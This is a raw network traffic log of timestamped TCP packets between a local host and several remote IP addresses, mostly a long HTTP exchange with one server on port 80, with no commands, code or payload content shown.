Nov 17, 2024 12:35:37.373181105 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373192072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373235941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373255968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373270035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373296976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373310089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373368025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373379946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373389959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373409033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373425961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373733044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373743057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373755932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373778105 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373801947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.373888969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373900890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.373934031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.374252081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.374264956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.374275923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.374306917 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.374325991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.374346018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.374357939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.374391079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.374403000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.379556894 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.385056019 CET	49870	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.385071039 CET	443	49870	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.385907888 CET	49870	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.385912895 CET	443	49870	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.386471033 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.386497974 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.386869907 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.386874914 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.395378113 CET	49871	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.395397902 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.395978928 CET	49871	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.395988941 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.413947105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.413969994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.414028883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.414031982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.414088964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.426088095 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.429126024 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.429147005 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.429214001 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.429230928 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.429275036 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.448115110 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.448129892 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.449517012 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.451272964 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.451473951 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.452617884 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.452675104 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.452673912 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.452722073 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.452811956 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.452862978 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.453149080 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.453160048 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.453290939 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.453480959 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.453536987 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.453597069 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.453715086 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.453742027 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.453787088 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.453866959 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.453886986 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.453942060 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.454525948 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.454545975 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.454660892 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.454675913 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.454967022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.454981089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.455013990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.455018997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.455044985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.455044985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.456619024 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.456634045 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.456924915 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.456975937 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.457000017 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.457012892 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.457156897 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:37.457184076 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:37.457309008 CET	49872	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:37.459167957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459180117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459191084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459202051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459244013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.459279060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.459281921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459292889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459321022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.459340096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.459485054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459577084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459588051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459598064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459618092 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.459645987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.459891081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459934950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.459942102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459953070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.459990025 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.460058928 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.468341112 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.468516111 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.468586922 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.471543074 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.471712112 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.472012997 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.491071939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491089106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491131067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491142988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491144896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491197109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491266012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491277933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491297007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491309881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491321087 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491328955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491352081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491372108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491426945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491466045 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491512060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491523981 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491560936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491596937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491609097 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491621017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491637945 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491671085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491816044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491861105 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491883993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491894960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491930962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.491960049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.491985083 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492003918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492049932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492070913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492094994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492106915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492120028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492122889 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492158890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492286921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492326021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492336988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492347956 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492404938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492418051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492418051 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492502928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492513895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492525101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492543936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492544889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492578983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492655993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492666960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.492693901 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.492717981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.499325991 CET	443	49872	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:37.511255026 CET	443	49870	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.511372089 CET	443	49870	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.513356924 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.513432026 CET	49870	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.513449907 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.513499975 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.525101900 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.525360107 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.525418997 CET	49871	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.532413006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.532434940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.532461882 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.532485962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.532501936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.532514095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.532547951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.532561064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.532565117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.532572031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.532612085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.546452045 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.546475887 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.546546936 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.546546936 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.546561956 CET	443	49865	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:37.546566963 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.546580076 CET	49867	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.546585083 CET	443	49867	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.546603918 CET	49865	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:37.555404902 CET	49871	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.555444956 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.555459976 CET	49871	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.555466890 CET	443	49871	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.556494951 CET	49868	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.556516886 CET	443	49868	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.557557106 CET	49870	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.557575941 CET	443	49870	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.558526993 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.558532000 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.558542013 CET	49869	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.558545113 CET	443	49869	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.566328049 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.566354036 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.566416025 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.566626072 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.566658974 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.566731930 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.569005966 CET	49885	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.569092989 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.569638014 CET	49885	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.570214987 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.570225000 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.570437908 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.571440935 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.571461916 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.571528912 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.571625948 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.571639061 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.571727037 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.571762085 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.571798086 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.571815014 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.571926117 CET	49885	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.571952105 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.572210073 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:37.572221994 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:37.573677063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.573688984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.573754072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.573765039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.573790073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.573805094 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.573833942 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.577697039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.577719927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.577732086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.577783108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.577783108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.577821970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.577833891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.577867031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.578253984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.578299999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.578309059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.578331947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.578357935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.578360081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.578381062 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.578394890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.578480959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.578582048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.578594923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.578629971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.578629971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.578665018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.607601881 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.610073090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610135078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610147953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610151052 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610198021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610217094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610239029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610255003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610282898 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610316992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610328913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610340118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610358000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610373020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610389948 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610456944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610502958 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610529900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610584974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610595942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610605955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610634089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610637903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610645056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610655069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610658884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610670090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610688925 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610703945 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610723972 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.610877037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.610955000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611041069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611090899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611102104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611140966 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611164093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611176014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611212015 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611239910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611279964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611448050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611505032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611515045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611543894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611569881 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611634970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611645937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611658096 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611670017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611692905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611718893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611757994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611769915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611780882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:37.611808062 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.611829996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:37.616307020 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.616321087 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.617330074 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.617398024 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.620481968 CET	49875	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:37.620544910 CET	443	49875	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:37.620910883 CET	49875	443	192.168.2.5	3.170.115.43
